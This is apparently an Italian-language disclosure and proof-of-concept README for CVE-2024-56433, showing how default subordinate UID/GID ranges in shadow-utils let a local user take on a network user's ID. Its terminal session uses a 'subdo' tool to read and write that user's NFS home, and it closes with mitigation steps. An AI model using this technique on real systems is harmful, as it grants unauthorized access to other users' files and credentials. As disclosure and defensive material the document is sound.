
Proof-of-concept exploit per CVE-2024-56433, che dimostra l'escalation dei privilegi tramite la collisione degli ID subordinati di shadow-utils per accedere ai dati di altri utenti.
shadow-utils - Assegnazione predefinita non sicura degli ID subordinati per gli utenti locali
L'assegnazione predefinita degli ID subordinati crea il rischio di collisione con gli ID utente esistenti, consentendo potenzialmente di modificare arbitrariamente UID/GID e ottenere accesso non autorizzato a dati e risorse di rete.
Pacchetto base: shadow-utils 4.4 - 4.17.0
Confermato su: Debian 12, Red Hat Enterprise Linux 9, Red Hat Enterprise Linux 10. Tutte le versioni recenti delle distribuzioni che utilizzano shadow-utils 4.4 e successive.
Shadow-utils ha iniziato a essere distribuito con una configurazione predefinita per delegare gli ID subordinati agli utenti locali.
$ cat /etc/login.defs | grep -i sub
SUB_UID_MIN 100000
SUB_UID_MAX 600100000
SUB_UID_COUNT 65536
SUB_GID_MIN 100000
SUB_GID_MAX 600100000
SUB_GID_COUNT 65536
#GRANT_AUX_GROUP_SUBIDS yes
$
Quando nuovi utenti locali vengono aggiunti al sistema tramite uno qualsiasi degli strumenti shadow-utils (adduser, useradd e durante l'installazione del sistema), a ciascun utente viene assegnato un blocco univoco di 65.536 UID e GID, a partire da UID/GID 100000. Ad esempio, il seguente sistema ha due utenti locali aggiunti:
$ cat /etc/subuid
jon:100000:65536
testacct:165536:65536
$
La configurazione degli ID subordinati delega all'utente il diritto di utilizzo degli intervalli specificati in un namespace utente e viene utilizzata principalmente per la containerizzazione rootless. Tuttavia, gli strumenti di containerizzazione non sono necessari per entrare in un namespace e ciò può essere fatto tramite molteplici mezzi, incluso l'uso degli strumenti predefiniti di shadow-utils 'newuidmap' e 'newgidmap.' Ciò consente all'utente di cambiare arbitrariamente l'ID utente POSIX a qualsiasi ID all'interno dell'intervallo a lui delegato.
Nell'esempio seguente, all'utente Jon - UID/GID 1000 - è stato delegato un intervallo di 65.536 UID/GID a partire da 100000. La rete ha altri ID configurati tramite LDAP per la gestione centralizzata degli utenti e l'accesso, con le home directory degli utenti di rete su NFS.
UID/GID 108372 appartiene all'utente di rete msteph.
Sfruttando l'allocazione predefinita degli UID/GID subordinati creata durante l'installazione, l'utente locale può passare all'ID dell'utente di rete e quindi ottenere accesso alla home directory NFS, leggendo e scrivendo file come quell'utente.
jon@localhost ~]$ id;uname -a;cat /etc/subuid
uid=1000(jon) gid=1000(jon) groups=1000(jon),10(wheel)
Linux localhost.localdomain 5.14.0-503.14.1.el9_5.aarch64 #1 SMP PREEMPT_DYNAMIC Fri Nov 15 07:14:03 EST 2024 aarch64 aarch64 aarch64 GNU/Linux
jon:100000:65536
[jon@localhost ~]$ getent passwd msteph
msteph:x:108472:108472::/mnt/home/msteph:/bin/bash
[jon@localhost ~]$ ls -al subdo;getcap subdo
-rwxr-xr-x 1 jon jon 72936 Dec 22 23:12 subdo
[jon@localhost ~]$ ./subdo -u 108472 -g 108472 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=108472(msteph) gid=108472(msteph) groups=108472(msteph),65534(nobody)
bash-5.1$ cd ~msteph
bash-5.1$ ls
bash-5.1$ ls -al
total 16
drwx------ 3 msteph nobody 99 Dec 22 23:19 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
bash-5.1$ touch testing123
bash-5.1$ ls -aal
total 16
drwx------ 3 msteph nobody 117 Dec 22 23:23 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
-rw-r--r-- 1 msteph msteph 0 Dec 22 23:23 testing123
bash-5.1$
Sebbene NFS sia stato utilizzato come esempio, questo si estende oltre il semplice accesso NFS. Le infrastrutture in cui le credenziali Kerberos possono essere memorizzate sul sistema locale diventano a rischio, poiché le credenziali potrebbero essere recuperate dal sistema locale e l'accesso ad altri servizi kerberizzati diventa possibile.
Le voci SUB_ in /etc/login.defs dovrebbero essere rimosse. Qualsiasi voce in /etc/subuid e /etc/subgid che non sia prevista dovrebbe essere anch'essa rimossa.
Il POC per cambiare UID/GID all'ID subordinato allocato desiderato è allegato come subdo.c e subdo.py
Il POC mappa l'ID interno ed esterno allo stesso ID, quindi esegue setuid() e setgid() su quell'ID all'interno del namespace, il che significa che tutti i comandi eseguiti nella shell all'interno del namespace vengono ora eseguiti con quell'uid/gid sull'host.
Consente l'esecuzione di qualsiasi comando e argomenti con l'UID/GID subordinato desiderato.
Usage: ./subdo -u $uid -g $gid -r $range -- $cmd
Example:
[jon@localhost ~]$ ./subdo -u 100000 -g 100000 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$
Esegue /bin/bash con l'UID/GID subordinato desiderato.
Usage: ./subdo.py -u $uid -g $gid
Example:
[jon@localhost] $ ./subdo.py -u 100000 -g 100000
bash: /home/jon/.bashrc: Permission Denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$